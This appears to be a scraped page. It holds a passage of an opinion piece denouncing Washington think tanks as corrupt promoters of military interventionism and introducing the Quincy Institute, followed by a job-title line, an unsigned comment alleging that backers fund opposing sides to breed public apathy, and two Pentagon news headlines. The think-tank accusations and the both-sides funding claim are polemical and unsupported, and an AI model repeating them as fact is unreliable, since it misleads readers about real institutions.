The depth of this heresy can only be appreciated by recognizing the meretricious power that nourishes Washington’s think-tank ecosystem. These “talk shops” employ experts who pop up to advise politicians, journalists, Congressional staff members, and the public. They write opinion columns and bloviate on news channels. In foreign policy, all major Washington think tanks promote interventionist dogma: the United States faces threats everywhere, it must therefore be present everywhere, and “present” includes maintaining more than 800 foreign military bases and spending trillions of dollars on endless confrontations with foreign countries. That, with some variation, is the ethos that moves conservative think tanks like the American Enterprise Institute and the Heritage Foundation as well as liberal ones like the Center for American Progress and the Brookings Institution. Just as pernicious as their relentless support of the global-hegemony project is the corruption that lies behind it. Many Washington think tanks are supported by industries and foreign powers eager to inflate threats in order shape American law, policy, and public opinion. Their “experts” are often paid shills who cloak themselves in institutional respectability so they can masquerade as independent analysts.

When foreign crises like the war in Yemen break out, critics of US policy emerge and are given space to air their views. These protests, however, are episodic. Little continuity ties one burst of outrage to the next. The Quincy Institute aims to offer a corps of experts in Washington who will promote a unified foreign-policy paradigm based on statecraft and cooperation. Its founders plan to become involved in grass-roots campaigns, especially in minority communities. They hope their specialists will eventually move on to populate Congressional staffs and the executive branch — as alumni of pro-intervention think tanks have been doing for decades.

“Some interesting currents are emerging in American politics and we want to capture this moment, but we’re in it for the long haul,” said Parsi. “We’ll be a failure if in 10 years we’re still criticizing. In 10 years, we want to be driving the bus.”

Quincy Institute – Hiring Director of Media Relations

The idea is that you finance both sides e.g. pro fascist, anti-fascist etc. This creates a state of confusion where people don’t really know what is going on and become apathetic to it. Adam Curtis made a documentary about it, however here is a snippet from it.


Pentagon study: Russia outgunning U.S. in race for global influence
A divided America is failing to counter Moscow’s efforts to undermine democracy and cast doubt on U.S. alliances, says the report, which warns of a surge in ‘political warfare.’
By BRYAN BENDER 06/30/2019 06:11 AM EDT

The Pentagon has a laser that can identify people from a distance—by their heartbeat


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